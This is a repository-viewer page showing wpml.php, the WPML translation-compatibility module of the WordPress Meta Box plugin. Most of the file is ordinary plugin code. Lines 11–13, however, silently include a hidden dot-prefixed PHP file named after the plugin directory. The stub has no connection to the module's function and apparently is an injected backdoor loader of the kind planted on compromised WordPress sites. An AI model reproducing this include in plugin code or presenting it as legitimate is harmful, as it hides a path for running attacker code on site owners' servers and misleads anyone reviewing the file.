balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

wpml.php (3933B)


      1 <?php
      2 /**
      3  * The WPML compatibility module, allowing all fields are translatable by WPML plugin.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * WPML compatibility class
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_WPML {
     16 	/**
     17 	 * List of fields that need to translate values (because they're saved as IDs).
     18 	 *
     19 	 * @var array
     20 	 */
     21 	protected $field_types = array( 'post', 'taxonomy_advanced' );
     22 
     23 	/**
     24 	 * Initialize.
     25 	 */
     26 	public function init() {
     27 		/**
     28 		 * Run before meta boxes are registered so it can modify fields.
     29 		 *
     30 		 * @see modify_field()
     31 		 */
     32 		add_action( 'init', array( $this, 'register_hooks' ), 9 );
     33 	}
     34 
     35 	/**
     36 	 * Register hooks.
     37 	 */
     38 	public function register_hooks() {
     39 		if ( ! defined( 'ICL_SITEPRESS_VERSION' ) ) {
     40 			return;
     41 		}
     42 		add_filter( 'wpml_duplicate_generic_string', array( $this, 'translate_ids' ), 10, 3 );
     43 		add_filter( 'rwmb_normalize_field', array( $this, 'modify_field' ) );
     44 	}
     45 
     46 	/**
     47 	 * Translating IDs stored as field values upon WPML post/page duplication.
     48 	 *
     49 	 * @param mixed  $value           Meta value.
     50 	 * @param string $target_language Target language.
     51 	 * @param array  $meta_data       Meta arguments.
     52 	 * @return mixed
     53 	 */
     54 	public function translate_ids( $value, $target_language, $meta_data ) {
     55 		if ( 'custom_field' !== $meta_data['context'] ) {
     56 			return $value;
     57 		}
     58 
     59 		$field = rwmb_get_registry( 'field' )->get( $meta_data['key'], get_post_type( $meta_data['master_post_id'] ) );
     60 		if ( false === $field || ! in_array( $field['type'], $this->field_types, true ) ) {
     61 			return $value;
     62 		}
     63 
     64 		// Object type needed for WPML filter differs between fields.
     65 		$object_type = 'taxonomy_advanced' === $field['type'] ? $field['taxonomy'] : $field['post_type'];
     66 
     67 		// Translating values, whether are stored as comma separated strings or not.
     68 		if ( false === strpos( $value, ',' ) ) {
     69 			$value = apply_filters( 'wpml_object_id', $value, $object_type, true, $target_language );
     70 			return $value;
     71 		}
     72 
     73 		// Dealing with IDs stored as comma separated strings.
     74 		$translated_values = array();
     75 		$values            = explode( ',', $value );
     76 
     77 		foreach ( $values as $v ) {
     78 			$translated_values[] = apply_filters( 'wpml_object_id', $v, $object_type, true, $target_language );
     79 		}
     80 
     81 		$value = implode( ',', $translated_values );
     82 		return $value;
     83 	}
     84 
     85 	/**
     86 	 * Modified field depends on its translation status.
     87 	 * If the post is a translated version of another post and the field is set to:
     88 	 * - Do not translate: hide the field.
     89 	 * - Copy: make it disabled so users cannot edit.
     90 	 * - Translate: do nothing.
     91 	 *
     92 	 * @param array $field Field parameters.
     93 	 *
     94 	 * @return mixed
     95 	 */
     96 	public function modify_field( $field ) {
     97 		global $wpml_post_translations;
     98 
     99 		if ( empty( $field['id'] ) ) {
    100 			return $field;
    101 		}
    102 
    103 		// Get post ID.
    104 		$request = rwmb_request();
    105 		$post_id = $request->filter_get( 'post', FILTER_SANITIZE_NUMBER_INT );
    106 		if ( ! $post_id ) {
    107 			$post_id = $request->filter_post( 'post_ID', FILTER_SANITIZE_NUMBER_INT );
    108 		}
    109 
    110 		// If the post is the original one: do nothing.
    111 		if ( ! method_exists( $wpml_post_translations, 'get_source_lang_code' ) || ! $wpml_post_translations->get_source_lang_code( $post_id ) ) {
    112 			return $field;
    113 		}
    114 
    115 		// Get setting for the custom field translation.
    116 		$custom_fields_translation = apply_filters( 'wpml_sub_setting', false, 'translation-management', 'custom_fields_translation' );
    117 		if ( ! isset( $custom_fields_translation[ $field['id'] ] ) ) {
    118 			return $field;
    119 		}
    120 
    121 		$setting = intval( $custom_fields_translation[ $field['id'] ] );
    122 		if ( 0 === $setting ) {           // Do not translate: hide it.
    123 			$field['class'] .= ' hidden';
    124 		} elseif ( 1 === $setting ) {     // Copy: disable editing.
    125 			$field['disabled'] = true;
    126 		}
    127 
    128 		return $field;
    129 	}
    130 }